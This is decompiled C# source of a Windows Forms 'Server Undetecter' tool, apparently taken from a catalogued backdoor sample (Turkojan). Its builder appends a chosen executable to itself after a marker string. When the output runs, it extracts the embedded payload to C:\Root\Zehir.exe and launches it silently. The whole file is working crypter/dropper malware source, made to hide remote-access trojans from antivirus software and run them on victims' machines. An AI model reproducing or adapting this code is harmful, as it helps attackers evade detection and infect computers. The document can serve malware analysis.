// Decompiled with JetBrains decompiler // Type: Server_Undetecter.Form1 // Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using Server_Undetecter.My; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Runtime.CompilerServices; using System.Windows.Forms; namespace Server_Undetecter { [DesignerGenerated] public class Form1 : Form { private IContainer components; [AccessedThroughProperty("PictureBox1")] private PictureBox _PictureBox1; [AccessedThroughProperty("TextBox1")] private TextBox _TextBox1; [AccessedThroughProperty("Button1")] private Button _Button1; [AccessedThroughProperty("RadioButton1")] private RadioButton _RadioButton1; [AccessedThroughProperty("RadioButton2")] private RadioButton _RadioButton2; [AccessedThroughProperty("RadioButton3")] private RadioButton _RadioButton3; [AccessedThroughProperty("Button2")] private Button _Button2; [AccessedThroughProperty("Button3")] private Button _Button3; [AccessedThroughProperty("OpenFileDialog1")] private OpenFileDialog _OpenFileDialog1; [AccessedThroughProperty("SaveFileDialog1")] private SaveFileDialog _SaveFileDialog1; private string[] Oku; private string Server; private string İsim; private string GömülmüşServer; private string Builder; private const string Yarık = "#FEDERIKO's Laß#"; [DebuggerNonUserCode] public Form1() { this.Load += new EventHandler(this.Form1_Load); this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); this.PictureBox1 = new PictureBox(); this.TextBox1 = new TextBox(); this.Button1 = new Button(); this.RadioButton1 = new RadioButton(); this.RadioButton2 = new RadioButton(); this.RadioButton3 = new RadioButton(); this.Button2 = new Button(); this.Button3 = new Button(); this.OpenFileDialog1 = new OpenFileDialog(); this.SaveFileDialog1 = new SaveFileDialog(); ((ISupportInitialize) this.PictureBox1).BeginInit(); this.SuspendLayout(); this.PictureBox1.Image = (Image) Server_Undetecter.My.Resources.Resources.Whack_20MS_20Access; PictureBox pictureBox1_1 = this.PictureBox1; Point point1 = new Point(12, 12); Point point2 = point1; pictureBox1_1.Location = point2; this.PictureBox1.Name = "PictureBox1"; PictureBox pictureBox1_2 = this.PictureBox1; Size size1 = new Size(120, 120); Size size2 = size1; pictureBox1_2.Size = size2; this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage; this.PictureBox1.TabIndex = 0; this.PictureBox1.TabStop = false; TextBox textBox1_1 = this.TextBox1; point1 = new Point(138, 12); Point point3 = point1; textBox1_1.Location = point3; this.TextBox1.Name = "TextBox1"; TextBox textBox1_2 = this.TextBox1; size1 = new Size(170, 21); Size size3 = size1; textBox1_2.Size = size3; this.TextBox1.TabIndex = 1; Button button1_1 = this.Button1; point1 = new Point(138, 109); Point point4 = point1; button1_1.Location = point4; this.Button1.Name = "Button1"; Button button1_2 = this.Button1; size1 = new Size(121, 23); Size size4 = size1; button1_2.Size = size4; this.Button1.TabIndex = 2; this.Button1.Text = "Undetect Server !"; this.Button1.UseVisualStyleBackColor = true; this.RadioButton1.Checked = true; RadioButton radioButton1_1 = this.RadioButton1; point1 = new Point(138, 39); Point point5 = point1; radioButton1_1.Location = point5; this.RadioButton1.Name = "RadioButton1"; RadioButton radioButton1_2 = this.RadioButton1; size1 = new Size(203, 17); Size size5 = size1; radioButton1_2.Size = size5; this.RadioButton1.TabIndex = 3; this.RadioButton1.TabStop = true; this.RadioButton1.Text = "Binary"; this.RadioButton1.UseVisualStyleBackColor = true; RadioButton radioButton2_1 = this.RadioButton2; point1 = new Point(138, 62); Point point6 = point1; radioButton2_1.Location = point6; this.RadioButton2.Name = "RadioButton2"; RadioButton radioButton2_2 = this.RadioButton2; size1 = new Size(203, 17); Size size6 = size1; radioButton2_2.Size = size6; this.RadioButton2.TabIndex = 4; this.RadioButton2.Text = "Hex Code"; this.RadioButton2.UseVisualStyleBackColor = true; RadioButton radioButton3_1 = this.RadioButton3; point1 = new Point(138, 85); Point point7 = point1; radioButton3_1.Location = point7; this.RadioButton3.Name = "RadioButton3"; RadioButton radioButton3_2 = this.RadioButton3; size1 = new Size(203, 17); Size size7 = size1; radioButton3_2.Size = size7; this.RadioButton3.TabIndex = 5; this.RadioButton3.Text = "Hash Code"; this.RadioButton3.UseVisualStyleBackColor = true; Button button2_1 = this.Button2; point1 = new Point(310, 11); Point point8 = point1; button2_1.Location = point8; this.Button2.Name = "Button2"; Button button2_2 = this.Button2; size1 = new Size(31, 23); Size size8 = size1; button2_2.Size = size8; this.Button2.TabIndex = 6; this.Button2.Text = "---"; this.Button2.UseVisualStyleBackColor = true; Button button3_1 = this.Button3; point1 = new Point(265, 109); Point point9 = point1; button3_1.Location = point9; this.Button3.Name = "Button3"; Button button3_2 = this.Button3; size1 = new Size(76, 23); Size size9 = size1; button3_2.Size = size9; this.Button3.TabIndex = 7; this.Button3.Text = "Hakkında"; this.Button3.UseVisualStyleBackColor = true; this.OpenFileDialog1.Filter = "Server (*.exe; *.scr; *.pif; *.com; *.dll)|*.exe; *.scr; *.pif; *.com; *.dll"; this.OpenFileDialog1.ShowHelp = true; this.OpenFileDialog1.Title = "Server Aç"; this.SaveFileDialog1.Filter = "Uygulama (*.exe)|*.exe"; this.SaveFileDialog1.ShowHelp = true; this.SaveFileDialog1.Title = "Kaydet"; this.AutoScaleDimensions = new SizeF(7f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.BackColor = Color.Black; size1 = new Size(353, 144); this.ClientSize = size1; this.Controls.Add((Control) this.Button3); this.Controls.Add((Control) this.Button2); this.Controls.Add((Control) this.RadioButton3); this.Controls.Add((Control) this.RadioButton2); this.Controls.Add((Control) this.RadioButton1); this.Controls.Add((Control) this.Button1); this.Controls.Add((Control) this.TextBox1); this.Controls.Add((Control) this.PictureBox1); this.Font = new Font("Verdana", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 162); this.ForeColor = Color.DimGray; this.FormBorderStyle = FormBorderStyle.FixedToolWindow; this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); this.MaximizeBox = false; this.MinimizeBox = false; this.Name = nameof (Form1); this.StartPosition = FormStartPosition.CenterScreen; this.Text = "FEDERIKO's Server Undetecter"; ((ISupportInitialize) this.PictureBox1).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } internal virtual PictureBox PictureBox1 { [DebuggerNonUserCode] get => this._PictureBox1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value; } internal virtual TextBox TextBox1 { [DebuggerNonUserCode] get => this._TextBox1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; } internal virtual Button Button1 { [DebuggerNonUserCode] get => this._Button1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Button1_Click); if (this._Button1 != null) this._Button1.Click -= eventHandler; this._Button1 = value; if (this._Button1 == null) return; this._Button1.Click += eventHandler; } } internal virtual RadioButton RadioButton1 { [DebuggerNonUserCode] get => this._RadioButton1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.RadioButton1_CheckedChanged); if (this._RadioButton1 != null) this._RadioButton1.CheckedChanged -= eventHandler; this._RadioButton1 = value; if (this._RadioButton1 == null) return; this._RadioButton1.CheckedChanged += eventHandler; } } internal virtual RadioButton RadioButton2 { [DebuggerNonUserCode] get => this._RadioButton2; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.RadioButton2_CheckedChanged); if (this._RadioButton2 != null) this._RadioButton2.CheckedChanged -= eventHandler; this._RadioButton2 = value; if (this._RadioButton2 == null) return; this._RadioButton2.CheckedChanged += eventHandler; } } internal virtual RadioButton RadioButton3 { [DebuggerNonUserCode] get => this._RadioButton3; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.RadioButton3_CheckedChanged); if (this._RadioButton3 != null) this._RadioButton3.CheckedChanged -= eventHandler; this._RadioButton3 = value; if (this._RadioButton3 == null) return; this._RadioButton3.CheckedChanged += eventHandler; } } internal virtual Button Button2 { [DebuggerNonUserCode] get => this._Button2; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Button2_Click); if (this._Button2 != null) this._Button2.Click -= eventHandler; this._Button2 = value; if (this._Button2 == null) return; this._Button2.Click += eventHandler; } } internal virtual Button Button3 { [DebuggerNonUserCode] get => this._Button3; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Button3_Click); if (this._Button3 != null) this._Button3.Click -= eventHandler; this._Button3 = value; if (this._Button3 == null) return; this._Button3.Click += eventHandler; } } internal virtual OpenFileDialog OpenFileDialog1 { [DebuggerNonUserCode] get => this._OpenFileDialog1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._OpenFileDialog1 = value; } internal virtual SaveFileDialog SaveFileDialog1 { [DebuggerNonUserCode] get => this._SaveFileDialog1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._SaveFileDialog1 = value; } private void Form1_Load(object sender, EventArgs e) { int num1; int num2; try { FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); this.Builder = Strings.Space(checked ((int) FileSystem.LOF(1))); FileSystem.FileGet(1, ref this.Builder); FileSystem.FileClose(1); ProjectData.ClearProjectError(); num1 = 2; this.İsim = "Zehir.exe"; FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); this.GömülmüşServer = Strings.Space(checked ((int) FileSystem.LOF(1))); FileSystem.FileGet(1, ref this.GömülmüşServer); FileSystem.FileClose(1); this.Oku = Strings.Split(this.GömülmüşServer, "#FEDERIKO's Laß#"); this.GömülmüşServer = this.Oku[1]; this.Klasör(); FileSystem.FileOpen(1, "C:\\Root\\" + this.İsim, OpenMode.Binary, OpenAccess.ReadWrite); FileSystem.FilePut(1, this.GömülmüşServer, -1L, false); FileSystem.FileClose(1); Process.Start("C:\\Root\\" + this.İsim); this.Close(); goto label_6; label_1: num2 = -1; switch (num1) { case 2: goto label_6; } } catch (Exception ex) when ( { // ISSUE: unable to correctly present filter int num3; if (ex is Exception & num1 != 0 & num3 == 0) { SuccessfulFiltering; } else throw; } ) { ProjectData.SetProjectError(ex); goto label_1; } throw ProjectData.CreateProjectError(-2146828237); label_6: if (num2 == 0) return; ProjectData.ClearProjectError(); } private void Klasör() { label_0: int num1; int num2; try { ProjectData.ClearProjectError(); num1 = -2; label_1: int num3 = 2; if (!MyProject.Computer.FileSystem.FileExists("C:\\Root\\Zehir.exe")) goto label_3; label_2: num3 = 3; MyProject.Computer.FileSystem.DeleteFile("C:\\Root\\Zehir.exe"); label_3: num3 = 5; if (MyProject.Computer.FileSystem.DirectoryExists("C:\\Root")) goto label_12; label_4: num3 = 7; label_5: num3 = 8; MyProject.Computer.FileSystem.CreateDirectory("C:\\Root"); goto label_12; label_7: num2 = num3; switch (num1 > -2 ? num1 : 1) { case 1: int num4 = num2 + 1; num2 = 0; switch (num4) { case 1: goto label_0; case 2: goto label_1; case 3: goto label_2; case 4: case 5: goto label_3; case 6: case 9: case 10: goto label_12; case 7: goto label_4; case 8: goto label_5; } break; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_7; } throw ProjectData.CreateProjectError(-2146828237); label_12: if (num2 == 0) return; ProjectData.ClearProjectError(); } private void Button2_Click(object sender, EventArgs e) { if (this.OpenFileDialog1.ShowDialog() != DialogResult.OK) return; FileSystem.FileOpen(1, this.OpenFileDialog1.FileName, OpenMode.Binary, OpenAccess.Read); this.Server = Strings.Space(checked ((int) FileSystem.LOF(1))); FileSystem.FileGet(1, ref this.Server); FileSystem.FileClose(1); this.TextBox1.Text = this.OpenFileDialog1.FileName; } private void Button1_Click(object sender, EventArgs e) { if (this.SaveFileDialog1.ShowDialog() != DialogResult.OK) return; FileSystem.FileOpen(1, this.SaveFileDialog1.FileName, OpenMode.Binary, OpenAccess.ReadWrite); FileSystem.FilePut(1, this.Builder + "#FEDERIKO's Laß#" + this.Server + "\r\n\r\n#Coded By FEDERIKO#", -1L, false); FileSystem.FileClose(1); } private void RadioButton1_CheckedChanged(object sender, EventArgs e) { if (!this.RadioButton1.Checked) return; this.İsim = "BinaryZehir.exe"; } private void RadioButton2_CheckedChanged(object sender, EventArgs e) { if (!this.RadioButton2.Checked) return; this.İsim = "HexZehir.exe"; } private void RadioButton3_CheckedChanged(object sender, EventArgs e) { if (!this.RadioButton3.Checked) return; this.İsim = "HashZehir.exe"; } private void Button3_Click(object sender, EventArgs e) { int num = (int) MyProject.Forms.Form2.ShowDialog(); } } }